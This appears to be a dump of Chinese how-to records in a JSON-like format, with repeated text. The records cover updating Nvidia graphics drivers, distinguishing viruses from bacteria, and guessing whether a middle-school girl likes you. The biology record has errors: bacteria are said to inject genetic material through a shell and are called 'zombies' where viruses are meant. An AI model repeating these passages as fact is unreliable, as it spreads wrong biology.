运行安装程序。\\n运行下载的安装程序，更新你的驱动程序。安装程序会自动删除旧的驱动程序，然后安装更新后的驱动程序。\\n大多数用户在安装时可以选择“快速”选项。\\n在安装过程中，电脑屏幕可能会闪烁或短暂变黑。\\n1-7. 如果新驱动程序导致问题，请使用系统还原。\\n在安装驱动程序更新后，系统会自动创建一个还原点。这样，你就能让系统回滚到安装驱动程序之前。\\n点击此处，了解更多关于系统恢复的详情。\\n2. 使用GeForce Experience\\n2-1. 下载并安装GeForce Experience程序。\\n这是一个Nvidia程序，用于管理你的Nvidia驱动程序和游戏设置。你可以从geforce.com/geforce-experience下载安装程序。\\n安装程序将扫描系统中支持的硬件。如果你没有安装Nvidia显卡或者使用的较早的产品，那在安装时就可能会遇到错误。\\n安装完成后启动程序。\\n2-2. 允许GeForce Experience进行更新。\\n在你启动GeForce Experience时，它会检查是否有任何更新。\\n2-3. 点击“驱动程序”选项卡。\\n其中会显示任何可用的驱动程序更新。如果GeForce Experience最近没有进行检查，那就点击“检查更新”按钮。\\n一旦安装了这个应用程序，只要有新的驱动程序推出，你就会自动收到通知。\\n2-4. 点击“下载驱动程序”按钮，下载可用更新。\\nGeForce Experience可能会提前下载好这些文件。\\n2-5. 点击“快速安装”按钮。\\n高级用户可以选择“自定义”选项。大多数用户选择“快速安装”就可以了。\\n自定义安装将允许你选择要安装的驱动程序。\\n2-6. 等待安装驱动程序。\\nGeForce Experience将负责处理所有的安装工作。在安装过程中，电脑屏幕可能会闪烁或熄灭片刻。\\n2-7. 如果出现问题，可以使用“系统还原”工具进行回滚。\\n在更新Nvidia驱动程序时，Windows系统会创建一个还原点。你可以启动进入安全模式，然后运行系统还原工具恢复到更新驱动程序之前的状态。\\n点击此处查看使用“系统还原”工具的指南。\\n3. 更新Ubuntu驱动程序\\n3-1. 打开“其他驱动程序”窗口。\\n如果你使用的Ubuntu，那么Nvidia驱动程序不会自动安装。相反，Ubuntu使用的是开放源码的驱动程序，而这类驱动程序并不那么强大。你可以通过“其他驱动程序”窗口来安装Nvidia驱动程序。\\n启动控制面板并输入“驱动程序”，打开“其他驱动程序”窗口。\\n3-2. 等待加载可用的驱动程序列表。\\n这可能需要一些时间。\\n3-3. 从列表中选择最新的驱动程序。\\n确保它是Nvidia的驱动程序，而不是“Nouveau”驱动程序。选择驱动程序，开始下载文件。\\n3-4. 点击“应用更改”按钮。\\n随后将安装Nvidia驱动程序。在安装过程中，电脑屏幕可能会短暂闪烁或熄灭。\\n3-5. 重启电脑。\\n重新启动电脑，完成安装过程。\\n\", \"简要回答\": \"Nvidia正在不断调整用于控制Nvidia显卡的底层软件。通常每隔几周就会发布更新的驱动程序。安装最新的驱动程序能确保你在游戏中发挥最佳性能。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"手动更新\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开DirectX诊断工具。\", \"描述\": \"这是你查找确切显卡型号最快的方法。如果你已经知道显卡型号，那就跳过此步骤。\\n按⊞ Win+R，然后输入dxdiag。\\n点击显示选项卡。查看“芯片类型”条目。这就是你的显卡型号。\\n点击系统选项卡。找到“操作系统”条目，确定你运行的是32位还是64位的Windows。\"}, {\"编号\": 2, \"标题\": \"访问Nvidia GeForce网站。\", \"描述\": \"你可以从GeForce网站(geforce.com)下载最新驱动程序。\"}, {\"编号\": 3, \"标题\": \"点击“驱动程序”选项卡。\", \"描述\": \"大多数Nvidia显卡都是“GeForce”系列的。如果你的显卡是其他系列，那就访问nvidia.com网站。\"}, {\"编号\": 4, \"标题\": \"选择你的显卡。\", \"描述\": \"有三种方法可以选择你的驱动程序：\\n自动更新驱动程序 — 使用Nvidia GeForce Experience程序来管理驱动更新。点击这里了解更多详情。\\n手动搜索驱动程序 — 根据第1步中确认的信息来选择正确的驱动程序。屏幕将显示四个最新的驱动程序。\\n自动检测你的GPU — Nvidia网站会利用一个Java小程序来检测你的显卡并显示正确的驱动程序。你需要安装Java才能运行这个小程序。当前的小程序已经过期，因此可能会导致某些浏览器出现问题。在这一步中，使用另外两种方法之一会更方便些。\"}, {\"编号\": 5, \"标题\": \"下载最新驱动程序。\", \"描述\": \"点击链接，下载最新版本的驱动程序。除非你特地要安装较早的版本，否则应该总是下载最新的版本。最新版本通常能发挥最佳的性能。\"}, {\"编号\": 6, \"标题\": \"运行安装程序。\", \"描述\": \"运行下载的安装程序，更新你的驱动程序。安装程序会自动删除旧的驱动程序，然后安装更新后的驱动程序。\\n大多数用户在安装时可以选择“快速”选项。\\n在安装过程中，电脑屏幕可能会闪烁或短暂变黑。\"}, {\"编号\": 7, \"标题\": \"如果新驱动程序导致问题，请使用系统还原。\", \"描述\": \"在安装驱动程序更新后，系统会自动创建一个还原点。这样，你就能让系统回滚到安装驱动程序之前。\\n点击此处，了解更多关于系统恢复的详情。\"}]}, {\"编号\": 2, \"标题\": \"使用GeForce Experience\", \"步骤\": [{\"编号\": 1, \"标题\": \"下载并安装GeForce Experience程序。\", \"描述\": \"这是一个Nvidia程序，用于管理你的Nvidia驱动程序和游戏设置。你可以从geforce.com/geforce-experience下载安装程序。\\n安装程序将扫描系统中支持的硬件。如果你没有安装Nvidia显卡或者使用的较早的产品，那在安装时就可能会遇到错误。\\n安装完成后启动程序。\"}, {\"编号\": 2, \"标题\": \"允许GeForce Experience进行更新。\", \"描述\": \"在你启动GeForce Experience时，它会检查是否有任何更新。\"}, {\"编号\": 3, \"标题\": \"点击“驱动程序”选项卡。\", \"描述\": \"其中会显示任何可用的驱动程序更新。如果GeForce Experience最近没有进行检查，那就点击“检查更新”按钮。\\n一旦安装了这个应用程序，只要有新的驱动程序推出，你就会自动收到通知。\"}, {\"编号\": 4, \"标题\": \"点击“下载驱动程序”按钮，下载可用更新。\", \"描述\": \"GeForce Experience可能会提前下载好这些文件。\"}, {\"编号\": 5, \"标题\": \"点击“快速安装”按钮。\", \"描述\": \"高级用户可以选择“自定义”选项。大多数用户选择“快速安装”就可以了。\\n自定义安装将允许你选择要安装的驱动程序。\"}, {\"编号\": 6, \"标题\": \"等待安装驱动程序。\", \"描述\": \"GeForce Experience将负责处理所有的安装工作。在安装过程中，电脑屏幕可能会闪烁或熄灭片刻。\"}, {\"编号\": 7, \"标题\": \"如果出现问题，可以使用“系统还原”工具进行回滚。\", \"描述\": \"在更新Nvidia驱动程序时，Windows系统会创建一个还原点。你可以启动进入安全模式，然后运行系统还原工具恢复到更新驱动程序之前的状态。\\n点击此处查看使用“系统还原”工具的指南。\"}]}, {\"编号\": 3, \"标题\": \"更新Ubuntu驱动程序\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开“其他驱动程序”窗口。\", \"描述\": \"如果你使用的Ubuntu，那么Nvidia驱动程序不会自动安装。相反，Ubuntu使用的是开放源码的驱动程序，而这类驱动程序并不那么强大。你可以通过“其他驱动程序”窗口来安装Nvidia驱动程序。\\n启动控制面板并输入“驱动程序”，打开“其他驱动程序”窗口。\"}, {\"编号\": 2, \"标题\": \"等待加载可用的驱动程序列表。\", \"描述\": \"这可能需要一些时间。\"}, {\"编号\": 3, \"标题\": \"从列表中选择最新的驱动程序。\", \"描述\": \"确保它是Nvidia的驱动程序，而不是“Nouveau”驱动程序。选择驱动程序，开始下载文件。\"}, {\"编号\": 4, \"标题\": \"点击“应用更改”按钮。\", \"描述\": \"随后将安装Nvidia驱动程序。在安装过程中，电脑屏幕可能会短暂闪烁或熄灭。\"}, {\"编号\": 5, \"标题\": \"重启电脑。\", \"描述\": \"重新启动电脑，完成安装过程。\"}]}]}}",
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14,679 | 如何区分病毒和细菌 | 1. 学习它们的不同
1-1. 了解它们基本的区别。
病毒和细菌不管是在大小、起源还是在对身体的作用上都有重大的差异。
病毒是最小也最简单的生命体，它们要比细菌小10到100倍。
细菌是单细胞生物，可以在其他细胞内外生存。就是没有寄主也能存活。然而病毒是细胞内生物，它需要侵入其他细胞并在细胞内生存。病毒会改变寄主的遗传物质，从而利用寄主制造出大量病毒。
抗生素灭不了病毒，只能杀死细菌，但对抗生素免疫的细菌，抗生素也无能为力。正是由于滥用抗生素，才导致了对抗生素免疫的细菌的存在，这大大减弱了抗生素对致命细菌的杀伤能力。革兰氏阴性菌对抗生素有高度的免疫作用，但是仍有抗生素可以杀死它。
1-2. 细菌和病毒在增殖方面也有区别。
不管是动物还是植物细胞，病毒必须要找到一个寄主细胞才能够繁衍后代，然而大多数的细菌都可以不依靠任何寄主，独自生活。
细菌有一整套的设备（细胞器）来保障自身的生长和增殖，并且通常细菌的生殖方式为无性生殖。
相反，病毒通常将自己的遗传信息比如DNA或者RNA包在一个蛋白质之类的外壳里。它们需要利用寄主的细胞器来复制自己。细菌会用外壳上的“脚”附着在细胞上，然后将自己的遗传物质注射进细胞内部。但是实际来说，用外壳包着遗传物质的病毒们并不是真的活着，它们在遇到寄主之前并没有任何生命特征。
1-3. 从是否对人类有利来看也能区别病毒和细菌。
虽然说起来可能觉得难以置信，我们的体内居住这许许多多的微生物（它们是不同于我们的身体细胞的单独个体）。如果单单以细胞作为计量单位的话，大多数的人包含大概90%的微生物和10%的人类细胞。许多细菌都和人体和平共处，甚至还有许多担任着非常重要的工作，比如制造维生素、费解废物和制造氧气等。
比方说，大多数的消化过程都是由肠道菌群来完成的。这些细菌同样也帮助维持着人体内的酸碱平衡。
虽然人类对于益生菌（比如肠道菌群）十分熟悉，但事实上，也存在一些“好”的病毒，比如噬菌体。噬菌体能“劫持”细菌的细胞器从而杀死细菌。耶鲁大学的研究人员还设计出了一种能对抗脑肿瘤的病毒。但是大多数的病毒对人体都是有害的，并没有什么好的作用。
1-4. 看该种微生物是否达到了作为生命的标准。
虽然目前还没有对生命的构成有一个标准精确的定义。但是毫无疑问，科学家们都认为细菌是活着的。而相反，细菌更像是僵尸：它们并未死亡，却也并未活着。病毒确实有许多生命体的特征，比如有遗传物质，在时间的推移中通过自然选择而不断进化，并且能够不断增殖。然而病毒并没有细胞结构，也没有自身的新陈代谢，它们需要寄主来增殖。在其他方面，病毒也确实不符合生命体的条件，理由如下：
在病毒未侵入其他细胞之前，它体内未发生任何的生物过程，完全处于休眠的状态。它们不能制造营养物质、产生或排出废物，甚至不能移动。在某些程度上和非生物很像。并且它们能保持“非生物”状态非常久的时间。
当病毒遇到一个它可以入侵的细胞时，它会附着在细胞表面，利用蛋白质酶溶解部分细胞壁，然后向细胞内注入自己的遗传物质。然后它便控制了细胞，生产自己的复制品。而病毒又从这一方面表现出了生命体的特征：能将自己的遗传物质传给下一代，且制造出许多和自己相似的生物。
1-5. 通过认识常见的疾病就能区分病毒和细菌。
如果你不幸染病，而且你知道自己得的是什么病，那知晓导致此次疾病的元凶到底是病毒还是细菌只要搜索一下疾病的背景知识就可以了。常见的由细菌和病毒引起的疾病包括：
肺炎、食物中毒（通常由大肠杆菌引起）、脑膜炎、脓毒性咽喉炎、耳部和伤口感染、淋病。
流感、水痘、普通感冒、乙型肝炎、风疹、非典、麻疹、埃博拉、HPV（人乳头瘤病毒）感染、疱疹、狂犬病、HIV（导致艾滋病的病毒）感染。
但要注意，有的病毒和细菌都可以造成腹泻、头痛伤风等疾病。
如果不知道自己得了什么病，光靠症状是很难弄清病因的。因为有时由病毒和细菌造成的症状可能相同，像是恶心、呕吐、发烧、疲惫和全身不适等。最好的（有时也是唯一的）把你识别病因是病毒还是细菌的方法就是就医。医生会检查清楚你感染的微生物到底是什么。
有一种确定病原体的方法就是看抗生素治疗有没有用。像青霉素之类的抗生素只能治疗细菌感染，对病毒无用。这也是未经遗嘱不要随意服用抗生素的原因。
大多数病毒感染的疾病，都没有特效药。但还是有些抗病毒的药物可以抑制或者缓解病状的。
1-6. 下面这张表能帮助你简单地区分一下病毒和细菌。
病毒和细菌的不同有很多，下面列出了一些主要的区别。
2. 分析微观结构
2-1. 寻找细胞。
从结构方面来说，细菌要比病毒复制得多。细菌是所谓的“单细胞生物”，也就意味它只有一个细胞。相反，人体则包含着数万亿的细胞。
相反地，病毒没有细胞结构，其主要结构是称为衣壳的蛋白质。虽然衣壳里有病毒的遗传物质，但是它缺乏一个真正的细胞结构，比如细胞壁、转运蛋白、细胞质、细胞器等等。
换句话说，如果你通过显微镜看到了细胞，那么你观察的是细菌而不是病毒。
2-2. 最快辨别细菌和微生物的方法之一就是检查该生物的大小，看你能不能从一般的显微镜下观察到它。
如果你能看到该生物，证明它是细菌而不是病毒。因为病毒比正常的细菌小一百倍，普通的显微镜只能看到细菌，是看不到病毒的。要观察病毒得用电子显微镜或者其他高性能的显微镜。
细菌一般比病毒大得多，事实上，最大的病毒才和最小的细菌差不多大。
细菌差不多有几微米（1000+纳米）大。而大部分病毒都小于200纳米，所以常见的显微镜都观察不到它。
2-3. 看看有没有核糖体（而无其他细胞器）。
虽然细菌是细胞，但其结构并不复杂，十分简单。细菌没有细胞核和其他细胞器，除了核糖体。
核糖体是一种小小的简单的细胞器。在细菌的结构图上，常常用小点或者圆圈表示。
而病毒没有细胞器，包括核糖体。大部分的病毒，除了有衣壳、蛋白质酶和DNA/RNA等遗传物质外，并没有其他太多东西。
2-4. 观察生物的生殖周期。
细菌和病毒不像大多数的动物，需要性交或者和同类交换遗传信息来繁殖。但是，这并不意味着病毒和细菌有着同样的繁殖策略。
细菌是无性生殖，增殖的时候，细菌会复制自己的DNA，将其拉长再分为两端，植入分裂出的两个子细胞中。这样两个子细胞都有一分一样的DNA，成功地克隆了母细胞（和母细胞一模一样）。在显微镜下一般都能看到这一过程。每个子细胞还可以继续分裂成两个新的细胞。细菌的种类和外部条件都会影响分裂的速度，有的细菌可以迅速增殖。你可以用显微镜观察这一过程，并将其和病毒区分开来。
病毒不能自己增殖。它们靠侵入其他细胞，并利用该细胞的设备制造新的病毒。最终，制造出了大量的病毒，并在细胞破裂和死亡后，释放出来。
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看该种微生物是否达到了作为生命的标准。\\n虽然目前还没有对生命的构成有一个标准精确的定义。但是毫无疑问，科学家们都认为细菌是活着的。而相反，细菌更像是僵尸：它们并未死亡，却也并未活着。病毒确实有许多生命体的特征，比如有遗传物质，在时间的推移中通过自然选择而不断进化，并且能够不断增殖。然而病毒并没有细胞结构，也没有自身的新陈代谢，它们需要寄主来增殖。在其他方面，病毒也确实不符合生命体的条件，理由如下：\\n在病毒未侵入其他细胞之前，它体内未发生任何的生物过程，完全处于休眠的状态。它们不能制造营养物质、产生或排出废物，甚至不能移动。在某些程度上和非生物很像。并且它们能保持“非生物”状态非常久的时间。\\n当病毒遇到一个它可以入侵的细胞时，它会附着在细胞表面，利用蛋白质酶溶解部分细胞壁，然后向细胞内注入自己的遗传物质。然后它便控制了细胞，生产自己的复制品。而病毒又从这一方面表现出了生命体的特征：能将自己的遗传物质传给下一代，且制造出许多和自己相似的生物。\\n1-5. 通过认识常见的疾病就能区分病毒和细菌。\\n如果你不幸染病，而且你知道自己得的是什么病，那知晓导致此次疾病的元凶到底是病毒还是细菌只要搜索一下疾病的背景知识就可以了。常见的由细菌和病毒引起的疾病包括：\\n\\n肺炎、食物中毒（通常由大肠杆菌引起）、脑膜炎、脓毒性咽喉炎、耳部和伤口感染、淋病。\\n\\n流感、水痘、普通感冒、乙型肝炎、风疹、非典、麻疹、埃博拉、HPV（人乳头瘤病毒）感染、疱疹、狂犬病、HIV（导致艾滋病的病毒）感染。\\n但要注意，有的病毒和细菌都可以造成腹泻、头痛伤风等疾病。\\n如果不知道自己得了什么病，光靠症状是很难弄清病因的。因为有时由病毒和细菌造成的症状可能相同，像是恶心、呕吐、发烧、疲惫和全身不适等。最好的（有时也是唯一的）把你识别病因是病毒还是细菌的方法就是就医。医生会检查清楚你感染的微生物到底是什么。\\n有一种确定病原体的方法就是看抗生素治疗有没有用。像青霉素之类的抗生素只能治疗细菌感染，对病毒无用。这也是未经遗嘱不要随意服用抗生素的原因。\\n大多数病毒感染的疾病，都没有特效药。但还是有些抗病毒的药物可以抑制或者缓解病状的。\\n1-6. 下面这张表能帮助你简单地区分一下病毒和细菌。\\n病毒和细菌的不同有很多，下面列出了一些主要的区别。\\n2. 分析微观结构\\n2-1. 寻找细胞。\\n从结构方面来说，细菌要比病毒复制得多。细菌是所谓的“单细胞生物”，也就意味它只有一个细胞。相反，人体则包含着数万亿的细胞。\\n相反地，病毒没有细胞结构，其主要结构是称为衣壳的蛋白质。虽然衣壳里有病毒的遗传物质，但是它缺乏一个真正的细胞结构，比如细胞壁、转运蛋白、细胞质、细胞器等等。\\n换句话说，如果你通过显微镜看到了细胞，那么你观察的是细菌而不是病毒。\\n2-2. 最快辨别细菌和微生物的方法之一就是检查该生物的大小，看你能不能从一般的显微镜下观察到它。\\n如果你能看到该生物，证明它是细菌而不是病毒。因为病毒比正常的细菌小一百倍，普通的显微镜只能看到细菌，是看不到病毒的。要观察病毒得用电子显微镜或者其他高性能的显微镜。\\n细菌一般比病毒大得多，事实上，最大的病毒才和最小的细菌差不多大。\\n细菌差不多有几微米（1000+纳米）大。而大部分病毒都小于200纳米，所以常见的显微镜都观察不到它。\\n2-3. 看看有没有核糖体（而无其他细胞器）。\\n虽然细菌是细胞，但其结构并不复杂，十分简单。细菌没有细胞核和其他细胞器，除了核糖体。\\n核糖体是一种小小的简单的细胞器。在细菌的结构图上，常常用小点或者圆圈表示。\\n而病毒没有细胞器，包括核糖体。大部分的病毒，除了有衣壳、蛋白质酶和DNA/RNA等遗传物质外，并没有其他太多东西。\\n2-4. 观察生物的生殖周期。\\n细菌和病毒不像大多数的动物，需要性交或者和同类交换遗传信息来繁殖。但是，这并不意味着病毒和细菌有着同样的繁殖策略。\\n细菌是无性生殖，增殖的时候，细菌会复制自己的DNA，将其拉长再分为两端，植入分裂出的两个子细胞中。这样两个子细胞都有一分一样的DNA，成功地克隆了母细胞（和母细胞一模一样）。在显微镜下一般都能看到这一过程。每个子细胞还可以继续分裂成两个新的细胞。细菌的种类和外部条件都会影响分裂的速度，有的细菌可以迅速增殖。你可以用显微镜观察这一过程，并将其和病毒区分开来。\\n病毒不能自己增殖。它们靠侵入其他细胞，并利用该细胞的设备制造新的病毒。最终，制造出了大量的病毒，并在细胞破裂和死亡后，释放出来。\\n\", \"简要回答\": \"为了生物考试而学习？还是因为流感生病窝在床里，想要弄清楚身体里到底是什么东西在造次？虽然有的时候，因为病毒和细菌生病的症状差不多，但是它们有许多本质的区别，是完全不同的两种生物。了解了病毒和细菌的区别后，既可以清楚的明白你接受的治疗，还能了解你自己体内的生物运作。区分细菌和病毒不仅可以靠学习基础知识，还可以用显微镜自己观察它们的外表和活动，实践出真知。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"学习它们的不同\", \"步骤\": [{\"编号\": 1, \"标题\": \"了解它们基本的区别。\", \"描述\": \"病毒和细菌不管是在大小、起源还是在对身体的作用上都有重大的差异。\\n病毒是最小也最简单的生命体，它们要比细菌小10到100倍。\\n细菌是单细胞生物，可以在其他细胞内外生存。就是没有寄主也能存活。然而病毒是细胞内生物，它需要侵入其他细胞并在细胞内生存。病毒会改变寄主的遗传物质，从而利用寄主制造出大量病毒。\\n抗生素灭不了病毒，只能杀死细菌，但对抗生素免疫的细菌，抗生素也无能为力。正是由于滥用抗生素，才导致了对抗生素免疫的细菌的存在，这大大减弱了抗生素对致命细菌的杀伤能力。革兰氏阴性菌对抗生素有高度的免疫作用，但是仍有抗生素可以杀死它。\"}, {\"编号\": 2, \"标题\": \"细菌和病毒在增殖方面也有区别。\", \"描述\": \"不管是动物还是植物细胞，病毒必须要找到一个寄主细胞才能够繁衍后代，然而大多数的细菌都可以不依靠任何寄主，独自生活。\\n细菌有一整套的设备（细胞器）来保障自身的生长和增殖，并且通常细菌的生殖方式为无性生殖。\\n相反，病毒通常将自己的遗传信息比如DNA或者RNA包在一个蛋白质之类的外壳里。它们需要利用寄主的细胞器来复制自己。细菌会用外壳上的“脚”附着在细胞上，然后将自己的遗传物质注射进细胞内部。但是实际来说，用外壳包着遗传物质的病毒们并不是真的活着，它们在遇到寄主之前并没有任何生命特征。\"}, {\"编号\": 3, \"标题\": \"从是否对人类有利来看也能区别病毒和细菌。\", \"描述\": \"虽然说起来可能觉得难以置信，我们的体内居住这许许多多的微生物（它们是不同于我们的身体细胞的单独个体）。如果单单以细胞作为计量单位的话，大多数的人包含大概90%的微生物和10%的人类细胞。许多细菌都和人体和平共处，甚至还有许多担任着非常重要的工作，比如制造维生素、费解废物和制造氧气等。\\n比方说，大多数的消化过程都是由肠道菌群来完成的。这些细菌同样也帮助维持着人体内的酸碱平衡。\\n虽然人类对于益生菌（比如肠道菌群）十分熟悉，但事实上，也存在一些“好”的病毒，比如噬菌体。噬菌体能“劫持”细菌的细胞器从而杀死细菌。耶鲁大学的研究人员还设计出了一种能对抗脑肿瘤的病毒。但是大多数的病毒对人体都是有害的，并没有什么好的作用。\"}, {\"编号\": 4, \"标题\": \"看该种微生物是否达到了作为生命的标准。\", \"描述\": \"虽然目前还没有对生命的构成有一个标准精确的定义。但是毫无疑问，科学家们都认为细菌是活着的。而相反，细菌更像是僵尸：它们并未死亡，却也并未活着。病毒确实有许多生命体的特征，比如有遗传物质，在时间的推移中通过自然选择而不断进化，并且能够不断增殖。然而病毒并没有细胞结构，也没有自身的新陈代谢，它们需要寄主来增殖。在其他方面，病毒也确实不符合生命体的条件，理由如下：\\n在病毒未侵入其他细胞之前，它体内未发生任何的生物过程，完全处于休眠的状态。它们不能制造营养物质、产生或排出废物，甚至不能移动。在某些程度上和非生物很像。并且它们能保持“非生物”状态非常久的时间。\\n当病毒遇到一个它可以入侵的细胞时，它会附着在细胞表面，利用蛋白质酶溶解部分细胞壁，然后向细胞内注入自己的遗传物质。然后它便控制了细胞，生产自己的复制品。而病毒又从这一方面表现出了生命体的特征：能将自己的遗传物质传给下一代，且制造出许多和自己相似的生物。\"}, {\"编号\": 5, \"标题\": \"通过认识常见的疾病就能区分病毒和细菌。\", \"描述\": \"如果你不幸染病，而且你知道自己得的是什么病，那知晓导致此次疾病的元凶到底是病毒还是细菌只要搜索一下疾病的背景知识就可以了。常见的由细菌和病毒引起的疾病包括：\\n\\n肺炎、食物中毒（通常由大肠杆菌引起）、脑膜炎、脓毒性咽喉炎、耳部和伤口感染、淋病。\\n\\n流感、水痘、普通感冒、乙型肝炎、风疹、非典、麻疹、埃博拉、HPV（人乳头瘤病毒）感染、疱疹、狂犬病、HIV（导致艾滋病的病毒）感染。\\n但要注意，有的病毒和细菌都可以造成腹泻、头痛伤风等疾病。\\n如果不知道自己得了什么病，光靠症状是很难弄清病因的。因为有时由病毒和细菌造成的症状可能相同，像是恶心、呕吐、发烧、疲惫和全身不适等。最好的（有时也是唯一的）把你识别病因是病毒还是细菌的方法就是就医。医生会检查清楚你感染的微生物到底是什么。\\n有一种确定病原体的方法就是看抗生素治疗有没有用。像青霉素之类的抗生素只能治疗细菌感染，对病毒无用。这也是未经遗嘱不要随意服用抗生素的原因。\\n大多数病毒感染的疾病，都没有特效药。但还是有些抗病毒的药物可以抑制或者缓解病状的。\"}, {\"编号\": 6, \"标题\": \"下面这张表能帮助你简单地区分一下病毒和细菌。\", \"描述\": \"病毒和细菌的不同有很多，下面列出了一些主要的区别。\"}]}, {\"编号\": 2, \"标题\": \"分析微观结构\", \"步骤\": [{\"编号\": 1, \"标题\": \"寻找细胞。\", \"描述\": \"从结构方面来说，细菌要比病毒复制得多。细菌是所谓的“单细胞生物”，也就意味它只有一个细胞。相反，人体则包含着数万亿的细胞。\\n相反地，病毒没有细胞结构，其主要结构是称为衣壳的蛋白质。虽然衣壳里有病毒的遗传物质，但是它缺乏一个真正的细胞结构，比如细胞壁、转运蛋白、细胞质、细胞器等等。\\n换句话说，如果你通过显微镜看到了细胞，那么你观察的是细菌而不是病毒。\"}, {\"编号\": 2, \"标题\": \"最快辨别细菌和微生物的方法之一就是检查该生物的大小，看你能不能从一般的显微镜下观察到它。\", \"描述\": \"如果你能看到该生物，证明它是细菌而不是病毒。因为病毒比正常的细菌小一百倍，普通的显微镜只能看到细菌，是看不到病毒的。要观察病毒得用电子显微镜或者其他高性能的显微镜。\\n细菌一般比病毒大得多，事实上，最大的病毒才和最小的细菌差不多大。\\n细菌差不多有几微米（1000+纳米）大。而大部分病毒都小于200纳米，所以常见的显微镜都观察不到它。\"}, {\"编号\": 3, \"标题\": \"看看有没有核糖体（而无其他细胞器）。\", \"描述\": \"虽然细菌是细胞，但其结构并不复杂，十分简单。细菌没有细胞核和其他细胞器，除了核糖体。\\n核糖体是一种小小的简单的细胞器。在细菌的结构图上，常常用小点或者圆圈表示。\\n而病毒没有细胞器，包括核糖体。大部分的病毒，除了有衣壳、蛋白质酶和DNA/RNA等遗传物质外，并没有其他太多东西。\"}, {\"编号\": 4, \"标题\": \"观察生物的生殖周期。\", \"描述\": \"细菌和病毒不像大多数的动物，需要性交或者和同类交换遗传信息来繁殖。但是，这并不意味着病毒和细菌有着同样的繁殖策略。\\n细菌是无性生殖，增殖的时候，细菌会复制自己的DNA，将其拉长再分为两端，植入分裂出的两个子细胞中。这样两个子细胞都有一分一样的DNA，成功地克隆了母细胞（和母细胞一模一样）。在显微镜下一般都能看到这一过程。每个子细胞还可以继续分裂成两个新的细胞。细菌的种类和外部条件都会影响分裂的速度，有的细菌可以迅速增殖。你可以用显微镜观察这一过程，并将其和病毒区分开来。\\n病毒不能自己增殖。它们靠侵入其他细胞，并利用该细胞的设备制造新的病毒。最终，制造出了大量的病毒，并在细胞破裂和死亡后，释放出来。\"}]}]}}",
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14,680 | 如何判断中学女生是否喜欢你 | 1. 观察她的衣着外貌
1-1. 观察她的肢体语言。
肢体语言有很大的指导意义。她可能表面上不会说自己喜欢你，但她的肢体语言会出卖她的内心。如果她喜欢你，她会面对面地与你交谈，并将身体微微向你倾斜，这样可以更加接近你。下面是其它的一些暗示动作：
观察她与你说话时是否喜欢玩弄自己的头发，或低头看脚。如果是，说明她说话的时候紧张害羞，因为她喜欢你。
观察她与你说话时是否不断踱步，并玩弄手指或佩戴的首饰。如果是，说明她喜欢你所以紧张。
观察她与你说话时的眼神是否有意躲闪。假如她经常有意避开你的眼神，说明她可能喜欢你所以紧张。
观察她与你说话时是否爱笑。如果你没有说什么搞笑的东西，而她总是禁不住地笑，那说明她可能喜欢你。
1-2. 观察她的衣着打扮。
你是否觉得她每次出现在你周围的时候，比平时打扮得更漂亮？如果她知道你也会出现在某个商场，而你撞到她的时候，她比平时穿得更好看，她或许是特别为你而打扮的。假如她知道周末会遇见你，而特地在那天穿上一条新裙子，可能是因为她喜欢你。
她还可能在你周围的时候特别喷上香水。如果你知道她平时并不用香水，而跟你们一群人去看电影的时候突然喷上了香水，或许她是特别为你喷的。
1-3. 观察她是否脸红。
这个表现能清楚地说明她喜欢你。如果你发现她跟你对视后立马脸红，或者跟你说着说着就脸红了，那说明她因为喜欢你而害羞紧张。不过得观察一段时间，如果这女孩本身就很害羞，那就不是你的原因了。如果她只在你的面前脸红，就说明你对她来说是特别的。
2. 观察她的行为
2-1. 她是否会经常关注你。
在英语课堂上，你无意中看往她的方向，而她正在盯着你看，说明她可能喜欢你。看到你注意到她之后，转而把视线落在其它地方，或脸红，或看向其它同学，那就更能说明她喜欢你了。一群人一起出去玩的时候，你也可以观察她是否有意无意要关注你，还有一起去参加派对的时候。
如果她本来就喜欢做白日梦，经常目光游离，那她刚好看到你的方向不能说明问题。
2-2. 她是否在你周围特别爱笑。
如果她在你周围老是无缘由地发笑，特别是大家都不觉得好笑的时候，那说明她喜欢你。笑是自然的掩盖紧张情绪的方式，所以她笑是因为要掩饰自己的紧张或兴奋情绪。
如果她本身就爱笑，那也不能说明问题。只有当她在你周围表现得与往日不同时，才说明她喜欢你。
2-3. 当她跟同伴一起的时候，她们经过你周围是否会发笑。
如果你经过她们身边时，她的同伴们会煞有介事地笑笑，并推推她，说明她们知道她喜欢你，正在开她玩笑。如果她说“别这样！”，一把推开她的朋友们，或者努力避开与你对视，那么更能说明她对你有感觉。
中学女生喜欢你的话，她通常会告诉她要好的朋友们。仔细观察她朋友们的反应，你会得到暗示。
2-4. 她是否喜欢无意间跟你有身体上的接触。
她可能会高兴地推推你，或拍拍你的肩膀试图告诉你些东西。这是她与你搭讪的方式，她想要靠近你。不过，你要注意，这是否只是她的行为习惯而已。如果她不喜欢跟其他男生有身体接触，而就对你是特别的，那说明她喜欢你。
如果她跟其他男生说话的时候也喜欢拍拍他们的肩膀，那就不能说明问题了。
2-5. 她是否会送你小礼物。
如果她在陶瓷店做了一个可爱的小碗，拿来给你做礼物，或者她在商场给你买了一只铅笔，只是因为上面印有你喜欢的球队标语，那么她在向你暗示她喜欢你。又或者她做了些糖果或糕点带到学校，指明要给你一些，那么她是为了给你留下个好印象，因为她喜欢你。
3. 观察她的语言
3-1. 她是否专挑你俩共同感兴趣的话题谈。
她知道你喜欢的篮球队是火箭队，就跟你谈起了火箭队，很可能是因为她喜欢你所以补习了篮球的知识。如果她知道你喜欢看《灌篮高手》，便跟你讨论起了片里的角色，她也许只是让你对她产生好的印象而已。
假如之前她对你的兴趣一无所知，也毫无兴趣，但突然有一天忽然喜欢上你所喜欢的东西，那很可能是因为她喜欢你。
3-2. 她是否总想找你讲话。
如果她过来问你一个很简单的问题，你知道她可以轻而易举地从他人那里知道答案，如她问考试难不难，你在健身房都练些什么等等，那她很可能是找借口跟你交谈。如果她问你觉得某个老师怎么样，或某个新来的同学如何，她只是随便问问，重点是跟你交谈。
3-3. 她是否经常取笑你。
如果女生取笑你，基本上可以肯定的是，她喜欢你。如果她从你的鞋子一直取笑到你的新衣服，还取笑你的抽屉有多脏，很可能她只是想在你的身边，所以找个话题而已。她对你的取笑有时听起来会有些刻薄，但并不意味着她不喜欢你。
记住这条黄金法则：她关注你，就说明她喜欢你。而取笑是另一种方式的关注。
3-4. 她是否取悦你。
